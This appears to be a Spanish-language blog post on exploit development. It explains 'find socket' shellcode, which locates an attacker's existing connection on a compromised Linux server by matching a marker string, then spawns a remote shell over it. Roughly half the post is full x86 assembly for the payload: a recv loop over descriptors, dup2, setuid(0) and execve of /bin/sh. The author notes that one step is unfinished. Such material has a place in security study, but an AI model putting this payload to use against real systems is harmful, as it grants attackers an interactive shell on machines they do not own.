Home > ASM, GNU/Linux, Programacion, Shellcodes > Find Socket & Spawns a Shell (PoC Shellcode)

Find Socket & Spawns a Shell (PoC Shellcode)

El payload más común cuando se explota una vulnerabilidad remota en un servidor, es una bind/reverse shellcode, pero en la mayoría de los casos nos será inútil debido a la existencia de un cortafuegos que bloquea la conexión, por esto mismo existen las shellcodes “Find Socket”, para buscar un socket (del atacante) abierto, y lanzar sobre la conexión establecida una consola remota. Naturalmente, existen varios tipos dentro de esta shell, y la diferencia consiste en el método de encontrar el socket del atacante.

Para esto existen básicamente dos opciones:

  1. getpeername
  2. read/recv

Como sus nombres indican, la primera de ellas obtiene los datos del cliente de un socket, y la segunda lee los datos del conector a un buffer.

A primera vista parece que la mejor opción es usar “getpeername“, pero habrá entornos (nat) en los que los datos que nos devuelve esta función no serán los que esperemos. Precisamente por esto, se suele usar recv/read para localizar el socket. La idea es, que después de explotar corréctamente la vulnerabilidad, enviemos una cadena identificada por la shellcode, para obtener el socket y lanzar la consola.

Para conseguir identificar la cadena, se activa el flag O_NONBLOCK del socket mediante “fcntl” (enviando un IOCTL (F_GETF) y obtener los flags del descriptor,  hacer una OR con O_NONBLOCK y enviarle este valor mediante otro IOCTL (F_SETF)), después de esto se leen N bytes del socket, y se establecen los flags originales.

Hecho esto, si los N bytes leídos coinciden con los identificados por la shellcode, lanzará la consola por ese socket, y si no coincide, incrementará el valor del descriptor y volverá a hacer lo mismo.

Si bien la idea es buena como prueba de concepto, en un escenario real habría que saber ciertos datos de la conexión que un cliente no tiene por qué saber (incluso no puede saberlo), como el tamaño del buffer de recepción del servidor, e incluso en caso de saberlo, si el servidor maneja los datos recibidos antes que la shellcode, esta se saltaría el socket y no tendríamos la consola.

Pero inconvenientes a parte, he estado haciendo una prueba de concepto cuyo código tenéis a continuación, aunque falta activar el flag O_NONBLOCK del socket ;-)

push 0x586F5267
mov edi,esp ;buffer esperado 'gRoX'
push byte 1
mov esi,esp;buffer de recepcion
xor eax,eax
push ax
push byte 4 ;length
push esi ;buffer recv
cdq
lea ebx,[edx+0x0a]
;busqueda del socket
bucle:
;recv(...);
push edx ;socket
mov ecx,esp
push byte 0x66
pop eax
int 80h
pop edx
xchg eax,ecx
push esi
push edi
repe cmpsb
pop edi
pop esi
jne sigue
;hemos encontrado nuestro socket
;lanzamos la consola
;dup2
mov eax,ecx
xchg ebx,edx
mov cl,2
dup:
mov al,0x3f
int 80h
dec ecx
jns dup
;setuid()
xchg ebx,eax
mov al,0x17
cdq
int 80h
;execve()
inc ecx
push ebx
push 0x68732f6e
push 0x69622f2f
mov al,0x0b
mov ebx,esp
int 80h
mov dx,0xfffe
sigue:
inc dx
cmp dx,0xffff ;valor max.
jne bucle
Categories: ASM, GNU/Linux, Programacion, Shellcodes Tags:
  1. No comments yet.
  1. No trackbacks yet.